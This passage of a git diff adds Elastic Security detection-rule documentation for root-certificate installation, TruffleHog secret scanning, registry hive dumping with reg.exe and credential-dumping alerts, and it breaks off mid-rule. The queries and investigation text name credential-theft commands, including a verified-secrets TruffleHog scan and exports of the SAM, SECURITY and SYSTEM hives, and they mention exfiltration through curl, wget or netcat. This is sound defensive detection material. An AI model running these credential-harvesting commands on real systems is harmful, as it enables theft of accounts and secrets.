decrypt SSL traffic. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate abnormal behaviors observed by the subject process such as network connections, other registry or file modifications, and any spawned child processes. +- If one of the processes is suspicious, retrieve it and determine if it is malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled task creation. + - Use the PowerShell `Get-FileHash` cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This detection may be triggered by certain applications that install root certificates for the purpose of inspecting SSL traffic. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove the malicious certificate from the root certificate store. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and registry.value : "Blob" and + registry.path : + ( + "HKLM\\Software\\Microsoft\\SystemCertificates\\Root\\Certificates\\*\\Blob", + "HKLM\\Software\\Microsoft\\SystemCertificates\\AuthRoot\\Certificates\\*\\Blob", + "HKLM\\Software\\Policies\\Microsoft\\SystemCertificates\\Root\\Certificates\\*\\Blob", + "HKLM\\Software\\Policies\\Microsoft\\SystemCertificates\\AuthRoot\\Certificates\\*\\Blob", + "\\REGISTRY\\MACHINE\\Software\\Microsoft\\SystemCertificates\\Root\\Certificates\\*\\Blob", + "\\REGISTRY\\MACHINE\\Software\\Microsoft\\SystemCertificates\\AuthRoot\\Certificates\\*\\Blob", + "\\REGISTRY\\MACHINE\\Software\\Policies\\Microsoft\\SystemCertificates\\Root\\Certificates\\*\\Blob", + "\\REGISTRY\\MACHINE\\Software\\Policies\\Microsoft\\SystemCertificates\\AuthRoot\\Certificates\\*\\Blob", + "MACHINE\\Software\\Microsoft\\SystemCertificates\\Root\\Certificates\\*\\Blob", + "MACHINE\\Software\\Microsoft\\SystemCertificates\\AuthRoot\\Certificates\\*\\Blob", + "MACHINE\\Software\\Policies\\Microsoft\\SystemCertificates\\Root\\Certificates\\*\\Blob", + "MACHINE\\Software\\Policies\\Microsoft\\SystemCertificates\\AuthRoot\\Certificates\\*\\Blob" + ) and + not process.executable : ( + "?:\\Program Files (x86)\\*.exe", + "?:\\Program Files\\*.exe", + "?:\\ProgramData\\bomgar-*\\*\\sra-pin.exe", + "?:\\ProgramData\\bomgar-*\\*\\bomgar-scc.exe", + "?:\\ProgramData\\CTES\\Ctes.exe", + "?:\\ProgramData\\CTES\\Components\\SNG\\AbtSngSvc.exe", + "?:\\ProgramData\\CTES\\Components\\SVC\\CtesHostSvc.exe", + "?:\\ProgramData\\Lenovo\\Vantage\\Addins\\LenovoHardwareScanAddin\\*\\LdeApi.Server.exe", + "?:\\ProgramData\\Logishrd\\LogiOptionsPlus\\Plugins\\64\\certmgr.exe", + "?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\*\\*.exe", + "?:\\ProgramData\\Quest\\KACE\\modules\\clientidentifier\\clientidentifier.exe", + "?:\\ProgramData\\Sophos\\AutoUpdate\\Cache\\sophos_autoupdate1.dir\\*.exe", + "?:\\ProgramData\\tychoncloud\\bin\\OVAL\\tvs.exe", + "?:\\Windows\\CCM\\CcmEval.exe", + "?:\\Windows\\CCM\\CcmExec.exe", + "?:\\Windows\\ccmsetup\\autoupgrade\\ccmsetup*.exe", + "?:\\Windows\\ccmsetup\\cache\\ccmsetup.exe", + "?:\\Windows\\ccmsetup\\ccmsetup.exe", + "?:\\Windows\\Cluster\\clussvc.exe", + "?:\\Windows\\ImmersiveControlPanel\\SystemSettings.exe", + "?:\\Windows\\Lenovo\\ImController\\PluginHost86\\Lenovo.Modern.ImController.PluginHost.Device.exe", + "?:\\Windows\\Lenovo\\ImController\\Service\\Lenovo.Modern.ImController.exe", + "?:\\Windows\\Sysmon.exe", + "?:\\Windows\\Sysmon64.exe", + "?:\\Windows\\UUS\\amd64\\MoUsoCoreWorker.exe", + "?:\\Windows\\UUS\\amd64\\WaaSMedicAgent.exe", + "?:\\Windows\\UUS\\Packages\\Preview\\amd64\\MoUsoCoreWorker.exe", + "?:\\Windows\\WinSxS\\*.exe" + ) and + not + ( + process.executable : ( + "?:\\Windows\\System32\\*.exe", + "?:\\Windows\\SysWOW64\\*.exe" + ) and + not process.name : ( + "rundll32.exe", "mshta.exe", "powershell.exe", "pwsh.exe", "cmd.exe", "expand.exe", + "regsvr32.exe", "cscript.exe", "wscript.exe", "wmiprvse.exe", "certutil.exe", "xcopy.exe" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Subvert Trust Controls +** ID: T1553 +** Reference URL: https://attack.mitre.org/techniques/T1553/ +* Sub-technique: +** Name: Install Root Certificate +** ID: T1553.004 +** Reference URL: https://attack.mitre.org/techniques/T1553/004/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-credential-access-via-trufflehog-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-credential-access-via-trufflehog-execution.asciidoc new file mode 100644 index 0000000000..8363cf3620 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-credential-access-via-trufflehog-execution.asciidoc @@ -0,0 +1,154 @@ +[[prebuilt-rule-8-19-34-credential-access-via-trufflehog-execution]] +=== Credential Access via TruffleHog Execution + +This rule detects the execution of TruffleHog, a tool used to search for high-entropy strings and secrets in code repositories, which may indicate an attempt to access credentials. This tool was abused by the Shai-Hulud worm to search for credentials in code repositories. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/blog/shai-hulud-worm-npm-supply-chain-compromise +* https://socket.dev/blog/shai-hulud-strikes-again-v2 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Data Source: Auditd Manager +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Credential Access via TruffleHog Execution* + + +This rule flags TruffleHog executed to scan the local filesystem with verified JSON results, a direct path to harvesting secrets from source code, configs, and build artifacts. Attackers gain shell access on a developer workstation or CI runner, clone or point to internal repositories, run 'trufflehog --results=verified --json filesystem .' to enumerate valid tokens, and then pivot using the recovered keys to pull private code or authenticate to cloud and CI/CD systems. + + +*Possible investigation steps* + + +- Review binary path, code signature/hash, parent process chain, initiating user, and host role (developer workstation vs CI runner) to quickly decide if the execution matches an approved secret-scanning job or an ad‑hoc run. +- Determine the working directory and target path used by the scan to identify which repositories or configuration directories were inspected and whether sensitive files (e.g., .env, deployment keys, build secrets) were in scope. +- Pivot to same-session activity to spot credential use or exfiltration by correlating subsequent outbound connections to git remotes or cloud/CI APIs and launches of developer CLIs like git, gh, aws, az, gcloud, docker, kubectl, or vault. +- Look for output artifacts and exfil channels by checking for creation or deletion of JSON reports or archives, clipboard access, or piping of results to curl/wget/netcat and whether those artifacts were emailed or uploaded externally. +- Cross-check VCS and CI/CD audit logs for this identity and host for unusual pushes, pipeline changes, or new tokens issued shortly after the scan, which may indicate worm-like propagation or credential abuse. + + +*False positive analysis* + + +- An approved secret-scanning task by a developer or security engineer runs trufflehog with --results=verified --json filesystem to audit local code and configuration, producing benign activity on a development host. +- An internal automation or scheduled job invokes trufflehog to baseline filesystem secrets for compliance or hygiene checks, leading to expected process-start logs without credential abuse. + + +*Response and remediation* + + +- Immediately isolate the host or CI runner, terminate the trufflehog process and its parent shell/script, and block egress to git remotes and cloud APIs from that asset. +- Collect the verified findings from trufflehog output (stdout or JSON file), revoke and rotate any listed secrets (GitHub personal access tokens, AWS access keys, Azure service principal credentials, CI job tokens), and clear credential caches on the host. +- Remove unauthorized trufflehog binaries/packages, helper scripts, and scheduled tasks; delete report files and scanned working directories (local repo clones, .env/config folders), and purge shell history containing exfil commands like curl/wget/netcat. +- Restore the workstation or runner from a known-good image if tampering is suspected, re-enroll endpoint protection, reissue required developer or CI credentials with least privilege, and validate normal pulls to internal git and cloud services. +- Escalate to full incident response if trufflehog ran under a service account, on a build server/CI runner, or if any discovered secret was used to authenticate to external git remotes (e.g., github.com), cloud APIs, or private registries in the same session. +- Harden by blocking unapproved trufflehog execution via application control, moving approved secret scanning to a locked-down pipeline, enforcing short-lived PATs and key rotation, enabling egress filtering from developer hosts/runners, and deploying fleet-wide detections for "trufflehog --results=verified --json filesystem". + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and process.name : ("trufflehog.exe", "trufflehog") and +process.args == "--json" and process.args == "filesystem" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-credential-acquisition-via-registry-hive-dumping.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-credential-acquisition-via-registry-hive-dumping.asciidoc new file mode 100644 index 0000000000..616fa07051 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-credential-acquisition-via-registry-hive-dumping.asciidoc @@ -0,0 +1,185 @@ +[[prebuilt-rule-8-19-34-credential-acquisition-via-registry-hive-dumping]] +=== Credential Acquisition via Registry Hive Dumping + +Identifies attempts to export a registry hive which may contain credentials using the Windows reg.exe tool. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-the-registry-7512674487f8 +* https://www.elastic.co/security-labs/detect-credential-access + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Sysmon +* Data Source: Crowdstrike +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Ransomware +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 319 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Credential Acquisition via Registry Hive Dumping* + + + +*Possible investigation steps* + + +- What exact hive-export behavior did the alert capture? + - Focus: `process.command_line`, `process.executable`, `process.pe.original_file_name`, and `process.code_signature.subject_name`. + - Implication: escalate if the command saves or exports SAM or SECURITY to temp, public, admin-share, UNC, removable, or deceptive paths; lower suspicion only when the signed Microsoft reg.exe identity, destination, and export set fit the same recognized backup, recovery, forensic, or break-glass workflow. Identity alone never clears the export. + +- Does the parent and session context explain why credential-bearing hives were exported? + - Focus: `process.parent.executable`, `process.parent.command_line`, `process.Ext.session_info.logon_type`, and `user.id`. + - Hint: If the parent is generic and lineage remains unclear, expand ancestry before accepting a maintenance explanation. + - Implication: escalate when an interactive shell, script host, RMM tool, service account, remote-style session, or unexpected user initiated the export; lower suspicion when the same user or service identity, parent workflow, and session type recur for a recognized backup, recovery, forensic, or break-glass process. + +- Did the alert parent launch accompanying SYSTEM export, staging, transfer, cleanup, or alternate dump commands? + - Focus: process events from the alert parent and reg.exe children, using `process.parent.entity_id`, `process.parent.pid`, `process.executable`, and `process.command_line`. !{investigate{"description":"","label":"Processes from same parent as alert","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.pid","queryType":"phrase","value":"{{process.parent.pid}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} !{investigate{"description":"","label":"Child processes of reg.exe","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: If `process.parent.entity_id` is absent, use the `host.id` + alert `process.parent.pid` branch in a tight alert-time window; if reg.exe spawned a helper, pivot from alert `process.entity_id` to child `process.parent.entity_id`. + - Hint: If file or network telemetry is available, recover file activity and connections for reg.exe and its children to identify hive output, archives, share writes, removable-media staging, or off-host transfer. Missing network telemetry is unresolved, not benign. !{investigate{"description":"","label":"File activity for reg.exe and children","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} !{investigate{"description":"","label":"Network activity for reg.exe and children","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the same parent exports SYSTEM, packages, copies, deletes, or transfers hive output, or launches vssadmin.exe, diskshadow.exe, or shadow-copy paths to continue dumping outside this rule; absence of same-parent support reduces staging evidence but does not clear the original export. + +- Does the host role or hive combination raise credential-exposure severity? + - Focus: `host.id`, `host.name`, and `process.command_line`, plus asset or case records only as corroboration. + - Hint: Do not infer privileged role from `host.name` alone. + - Implication: raise urgency when asset context or host history identifies a jump host, backup node, admin workstation, server, or shared management platform, or when same-parent process review confirms SYSTEM was exported with SAM or SECURITY; lower urgency only when the host role and export set fit the same recognized workflow. + +- If local evidence remains suspicious or unresolved, does related alert scope show broader credential-access activity? + - Focus: related alerts for the same `user.id` and `host.id`, looking for credential dumping, archiving, privilege escalation, persistence, or lateral movement. + - Hint: Start with same-user alerts. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: Compare same-host alerts. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope and credential review when related alerts show complementary abuse; keep the case local when related alert scope is quiet and local telemetry already binds the export to one recognized workflow. + +- Based on the evidence gathered, what disposition is supported? + - Focus: binary identity, hive targets and output path, parent/session context, same-parent or child-process activity, host exposure, and related-alert scope. + - Implication: escalate when an unrecognized SAM or SECURITY export has a risky destination, suspicious lineage or session, follow-on staging, privileged-host exposure, or related credential-access alerts; close only when the same evidence categories bind one exact recognized workflow on this host, with outside confirmation if telemetry cannot prove legitimacy; preserve artifacts and escalate when evidence is mixed or incomplete. + + +*False positive analysis* + + +- Backup, recovery, forensic, or break-glass workflows can legitimately export SAM or SECURITY hives. Confirm that the signed Microsoft utility identity, command-line hive and destination pattern, parent workflow, session context, `user.id`, `host.id`, host role, and same-parent or child-process activity all align with the same workflow. If telemetry cannot prove legitimacy, use case records, change records, or owner confirmation only as corroboration for that exact activity. If any evidence dimension contradicts the workflow, do not close as benign. +- Before creating an exception, validate that the same `process.executable`, `process.code_signature.subject_name`, `process.parent.command_line`, `process.command_line` hive/destination pattern, `user.id`, and `host.id` recur across prior alerts from this rule. Build from that minimum confirmed pattern. Avoid exceptions on `process.name`, reg.exe, the hive name, or the host alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary restriction and document the recognized utility path, hive/destination pattern, parent and session context, `user.id`, `host.id`, host role, and corroborating case evidence that justified closure. Create an exception only if that same pattern recurs consistently across prior alerts from this rule. +- If suspicious but unconfirmed, preserve the alert record, process tree, `process.entity_id`, `process.command_line`, output path named in the command, same-parent or child-process command lines, session context, `user.id`, and `host.id` before containment or cleanup. Apply reversible containment tied to the findings, such as temporary share restriction or limited outbound access for the affected host; escalate to host isolation or account action only if staging, transfer commands, related alerts, or host criticality justify the impact. +- If confirmed malicious, preserve the same evidence set, then isolate the host if its role can tolerate it and the findings show unauthorized hive export or movement risk. Contain the responsible account only when the user/session evidence indicates account misuse. Terminate the process only after evidence capture if it is still running. +- Scope exposure from the copied material: SAM implies local account hash exposure; SECURITY implies LSA secret or cached-credential exposure; a same-parent SYSTEM export makes offline decryption more plausible and should raise urgency. +- Before deleting or rotating anything, review related `host.id` and `user.id` activity for the same command patterns, hive-copy names, archive names, share paths, transfer commands, and alternate copy methods such as vssadmin.exe, diskshadow.exe, or raw shadow-copy access. Then remove only the unauthorized dump scripts, archives, copied hive files, and persistence mechanisms identified during the investigation, and remediate the access path that allowed the export. +- Post-incident hardening: restrict hive export activity to recognized recovery or forensic workflows, document the confirmed `process.command_line` and destination patterns behind any exception, and retain process telemetry needed to distinguish future recovery work from repeated abuse. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (?process.pe.original_file_name == "reg.exe" or process.name : "reg.exe") and + process.args : ("save", "export") and + process.args : ( + "hklm\\sam", "hklm\\security", "hklm\\system", + "hkey_local_machine\\sam", "hkey_local_machine\\security", "hkey_local_machine\\system" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: Security Account Manager +** ID: T1003.002 +** Reference URL: https://attack.mitre.org/techniques/T1003/002/ +* Sub-technique: +** Name: LSA Secrets +** ID: T1003.004 +** Reference URL: https://attack.mitre.org/techniques/T1003/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-credential-dumping-detected-elastic-endgame.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-credential-dumping-detected-elastic-endgame.asciidoc new file mode 100644 index 0000000000..eccad8c773 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-credential-dumping-detected-elastic-endgame.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-34-credential-dumping-detected-elastic-endgame]] +=== Credential Dumping - Detected - Elastic Endgame + +Elastic Endgame detected Credential Dumping. Click the Elastic Endgame icon in the event.module column or the link in the rule.reference column for additional information. + +*Rule type*: query + +*Rule indices*: + +* endgame-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: None + +*Tags*: + +* Data Source: Elastic Endgame +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Rule Type: Higher-Order +* Domain: Endpoint + +*Version*: 106 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Credential Dumping - Detected - Elastic Endgame* + + +Elastic Endgame is a security solution that monitors and detects suspicious activities, such as credential dumping, which is a technique used by adversaries to extract sensitive authentication data. Attackers exploit this to gain unauthorized access to systems. The detection rule identifies such threats by analyzing alerts and specific event actions related to credential theft, ensuring timely threat detection and response. + + +*Possible investigation steps* + + +- Review the alert details to confirm the presence of event.kind:alert and event.module:endgame, ensuring the alert is related to the Elastic Endgame detection. +- Examine the event.action and endgame.event_subtype_full fields for the value cred_theft_event to understand the specific credential theft activity detected. +- Check the associated host and user information to identify the potentially compromised system and user accounts. +- Investigate the timeline of events leading up to and following the alert to identify any suspicious activities or patterns that may indicate further compromise. +- Correlate the alert with other security events or logs to determine if this is part of a larger attack or isolated incident. +- Assess the risk score and severity to prioritize the response and determine if immediate action is required to contain the threat. +- Consult the MITRE ATT&CK framework for additional context on the T1003 technique to understand potential attacker methods and improve defensive measures. + + +*False positive analysis* + + +- Routine administrative tasks that involve legitimate credential access tools may trigger alerts. Users can create exceptions for known administrative accounts or tools that are frequently used in these tasks. +- Security software updates or scans that access credential stores might be flagged. Exclude these processes by identifying their specific event actions and adding them to the exception list. +- Automated scripts for system maintenance that require credential access could be misidentified. Review and whitelist these scripts by their unique identifiers or execution paths. +- Legitimate software installations that require elevated privileges may cause alerts. Monitor and exclude these installation processes by verifying their source and purpose. +- Regularly scheduled backups that access credential data might be detected. Ensure these backup processes are recognized and excluded by specifying their event actions in the rule configuration. + + +*Response and remediation* + + +- Isolate the affected system immediately to prevent further unauthorized access and lateral movement within the network. +- Terminate any suspicious processes identified as part of the credential dumping activity to halt ongoing malicious actions. +- Change all potentially compromised credentials, prioritizing those with elevated privileges, to mitigate unauthorized access risks. +- Conduct a thorough review of access logs and system events to identify any additional compromised accounts or systems. +- Restore affected systems from a known good backup to ensure the integrity of the system and data. +- Implement enhanced monitoring on the affected systems and accounts to detect any signs of recurring or related malicious activity. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional containment or remediation actions are necessary. + +==== Setup + + + +*Setup* + + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind:alert and event.module:endgame and endgame.metadata.type:detection and (event.action:cred_theft_event or endgame.event_subtype_full:cred_theft_event) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: LSASS Memory +** ID: T1003.001 +** Reference URL: https://attack.mitre.org/techniques/T1003/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-credential-dumping-prevented-elastic-endgame.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-credential-dumping-prevented-elastic-endgame.asciidoc new file mode 100644 index 0000000000..0ad6b03d47 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-credential-dumping-prevented-elastic-endgame.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-34-credential-dumping-prevented-elastic-endgame]] +=== Credential Dumping - Prevented - Elastic Endgame + +Elastic Endgame prevented Credential Dumping. Click the Elastic Endgame icon in the event.module column or the link in the rule.reference column for additional information. + +*Rule type*: query + +*Rule indices*: + +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: None + +*Tags*: + +* Data Source: Elastic Endgame +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Rule Type: Higher-Order +* Domain: Endpoint + +*Version*: 106 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Credential Dumping - Prevented - Elastic Endgame* + + +Elastic Endgame is a security solution that proactively prevents credential dumping, a technique where attackers extract sensitive authentication data from systems. Adversaries exploit this to gain unauthorized access to networks. The detection rule identifies prevention 